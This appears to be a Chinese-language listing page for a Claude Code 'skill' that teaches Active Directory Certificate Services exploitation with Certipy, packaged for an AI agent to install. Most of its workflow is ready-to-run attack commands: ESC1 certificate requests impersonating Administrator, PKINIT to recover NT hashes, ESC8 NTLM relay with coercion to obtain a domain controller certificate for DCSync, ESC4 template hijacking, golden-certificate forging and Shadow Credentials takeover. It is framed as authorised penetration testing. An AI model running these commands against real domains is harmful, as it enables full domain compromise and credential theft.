关于 exploiting-adcs-with-certipy
这项安全技能介绍如何使用 Certipy 对 Microsoft Active Directory Certificate Services 进行授权评估,涵盖枚举、ESC 配置缺陷测试、证书认证及结果记录。
主要功能
- 01枚举 CA 与证书模板
- 02识别 ESC1–ESC16 配置缺陷
- 03申请证书并进行证书认证
- 04测试 NTLM 中继场景
- 05记录发现与修复建议
适用场景
- 01在渗透测试中评估 AD CS
- 02检查证书模板与 CA 的安全配置
- 03测试证书权限提升的检测能力
- 04为紫队演练生成检测遥测
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-adcs-with-certipy安装后在 Claude Code 中输入/exploiting-adcs-with-certipy确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
使用 Certipy 利用 AD CS
法律声明: 本技能仅用于经授权的安全测试和教育目的。Active Directory 证书服务攻击可能导致整个域被攻陷。仅在您拥有或已获得明确书面授权进行测试的系统上运行这些技术。未经授权的使用违反计算机欺诈相关法规,属于违法行为。
概述
Active Directory 证书服务(AD CS)是 Microsoft 的公钥基础设施角色,用于在 Windows 域内颁发证书,以实现身份验证、加密和签名。SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在他们 2021 年的白皮书 Certified Pre-Owned 中记录了一系列权限提升原语,并将其命名为 ESC1 至 ESC8。此后,社区将该目录扩展至 ESC16。由于映射到特权主体的证书可用于 PKINIT Kerberos 身份验证,攻击者一旦获得此类证书,就能在完全不知道密码的情况下以 Domain Admin 或 Domain Controller 身份通过身份验证——而且即使重置密码,该证书仍然有效。
Certipy(软件包 certipy-ad,由 Oliver Lyak / ly4k 维护)是 AD CS 事实上的攻击工具包。它是一款纯 Python 工具,可通过 LDAP/RPC 枚举证书颁发机构和模板、申请和伪造证书、执行 PKINIT/Schannel 身份验证、运行 Shadow Credentials 攻击,并将强制触发的 NTLM 身份验证中继到 AD CS HTTP 和 RPC 注册端点。Certipy 支持对完整的 ESC1-ESC16 范围进行检测和利用,使其成为 AD CS 评估的首选工具。来源:ly4k/Certipy 和 SpecterOps "Certified Pre-Owned"。
适用场景
- 在 AD CS 属于范围内的内部渗透测试和红队行动中
- 当低权限域立足点需要一条通往 Domain Admin / Domain Controller 的路径时
- 验证证书模板 ACL 和 CA 配置是否已加固
- 测试针对基于证书的权限提升的检测覆盖情况
- 在紫队演练中生成 ESC1/ESC8 遥测数据,供蓝队调优
前提条件
- 明确包含 AD CS 利用的授权行动范围
- 一个立足点:任意低权限用户的有效域凭据(密码、NT 哈希或 Kerberos 票据)
- 与 Domain Controller(LDAP/389、LDAPS/636)和 CA 主机的网络可达性
- Python 3.10+(Certipy 5.x 需要 Python 3.12+)和一台 Linux 攻击主机
- 安装 Certipy:
# Recommended isolated install pipx install certipy-ad # Or with pip pip install certipy-ad # Verify certipy --version - 对于 ESC8 中继,您还需要一个强制触发工具(Coercer/PetitPotam)以及可达的受害机器账户
目标
- 枚举林中的每个 CA、模板和注册端点
- 确定哪些 ESC1-ESC16 错误配置可从当前主体被利用
- 申请一张冒充特权目标的证书(ESC1 SAN 滥用)
- 将强制触发的身份验证中继到 AD CS Web 注册,以获取 DC 证书(ESC8)
- 使用伪造/签发的证书进行身份验证,以恢复 TGT 和 NT 哈希
- 记录每项发现,并附上证据和修复建议
MITRE ATT&CK 映射
| ID | 技术 | 在本技能中的应用 |
|---|---|---|
| T1649 | Steal or Forge Authentication Certificates | 申请、伪造和滥用 AD CS 证书(ESC1-ESC16)以特权主体身份通过身份验证 |
工作流
步骤 1:使用 certipy find 枚举 AD CS
收集 CA 和模板配置,并标记存在漏洞的模板。find 会运行 LDAP 和 RPC 查询,并生成 JSON、BloodHound 兼容的 ZIP 以及人类可读的文本报告。
# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
-u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -text -enabled -hide-admins
# Output only templates Certipy considers vulnerable
certipy find \
-u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -vulnerable -stdout
# Authenticate with an NT hash instead of a password
certipy find -u '[email protected]' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
-dc-ip 10.0.0.100 -vulnerable -stdout
查看输出中的 [!] Vulnerabilities 块。每项发现都标有 ESC1...ESC16,并附带受影响的模板/CA 名称。
步骤 2:利用 ESC1 —— 注册者提供的主题(SAN 滥用)
ESC1 模板允许低权限注册者指定任意 Subject Alternative Name,并包含 Client Authentication EKU。为一个特权 UPN 申请证书,并固定目标 SID(Certipy 会自动添加 SID 扩展,以满足 2022 年 5 月后的强映射补丁要求)。
certipy req \
-u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'VulnUserTemplate' \
-upn '[email protected]' \
-sid 'S-1-5-21-1111111111-2222222222-3333333333-500'
# -> saves administrator.pfx
步骤 3:通过 certipy auth 使用证书进行身份验证
使用签发的 PFX 执行 PKINIT,获取 TGT,并恢复目标的 NT 哈希。
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
# Output: a .ccache TGT and the recovered NT hash for administrator
如果 PKINIT 不可用,则回退到 Schannel/LDAP 身份验证:
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell
步骤 4:利用 ESC8 —— 对 AD CS Web Enrollment 的 NTLM 中继
ESC8 滥用接受 NTLM 身份验证的 AD CS Web Enrollment 接口(/certsrv/)。启动 Certipy 的中继服务器,以 CA 的 HTTP 端点为攻击目标,然后强制域控制器向你的中继进行身份验证(强制认证相关内容见 Coercer 技能)。
# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'
# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
-t 10.0.0.10 -l 10.0.0.50
Certipy 会写入一个 dc.pfx。以 DC 机器账户身份进行身份验证并执行 DCSync:
certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
步骤 5:利用 ESC4 —— 模板 ACL 劫持
如果你拥有对某个模板的写入权限,可以暂时将其重新配置为易受 ESC1 攻击的状态,实施利用后再恢复。
# Make the template vulnerable (save the original config first)
certipy template -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration
步骤 6:伪造黄金证书(入侵后持久化)
在能够访问 CA 私钥的情况下(例如通过备份),可离线为任意主体伪造证书。
# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u '[email protected]' -hashes :<nthash> \
-ca 'CORP-CA' -dc-ip 10.0.0.100
# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
-upn '[email protected]' \
-subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
步骤 7:Shadow Credentials 捷径
如果你拥有对目标 msDS-KeyCredentialLink 的写入权限,Certipy 可以端到端接管该账户(参见专门的 Shadow Credentials 技能)。
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim-dc$'
工具和资源
| 资源 | 用途 | 链接 |
|---|---|---|
| Certipy (ly4k) | 主要的 AD CS 攻击工具包 | https://github.com/ly4k/Certipy |
| Certipy Wiki | 命令参考和 ESC 说明 | https://github.com/ly4k/Certipy/wiki |
| Certified Pre-Owned (SpecterOps) | 最初的 ESC1-ESC8 研究 | https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf |
| The Hacker Recipes — AD CS | 攻击演练 | https://www.thehacker.recipes/ad/movement/ad-cs |
| Impacket ntlmrelayx | 替代的 ESC8 中继 | https://github.com/fortra/impacket |
ESC 漏洞参考
| ESC | 错误配置 |
|---|---|
| ESC1 | 低权限模板上由注册者提供主题 + Client Auth EKU |
| ESC2 | Any Purpose / 无 EKU 的模板可被用作注册代理 |
| ESC3 | 注册权限宽松的 Enrollment Agent 模板 |
| ESC4 | 对模板具有写入权限(劫持为 ESC1) |
| ESC5 | PKI 对象(CA、NTAuthCertificates)上的 ACL 薄弱 |
| ESC6 | CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2 允许任意 SAN |
| ESC7 | 危险的 Manage CA / Manage Certificates 权限 |
| ESC8 | 对 AD CS HTTP Web Enrollment 的 NTLM 中继 |
| ESC9 | 模板上没有安全扩展(szOID_NTDS_CA_SECURITY_EXT) |
| ESC10 | 证书映射注册表设置薄弱 |
| ESC11 | 对 AD CS RPC (ICertPassage) 端点的 NTLM 中继 |
| ESC13 | 颁发策略链接到特权组(OID 组链接) |
| ESC15 | Application Policies 滥用(CVE-2024-49019,"EKUwu") |
| ESC16 | 在 CA 范围内禁用安全扩展 |
验证标准
- 运行了
certipy find -vulnerable,并生成了可利用的模板/CA 列表 - 至少确认一个 ESC 错误配置,且
certipy req成功 -
certipy auth返回了被冒充特权账户的 TGT 和 NT 哈希 - ESC8 中继(如果在范围内)获取了域控制器证书
- 任何被修改的模板(ESC4)都已恢复到原始配置
- 每个发现都记录了命令输出、受影响对象和修复措施
- 签发的证书和 PFX 文件得到安全处理,并在项目结束时删除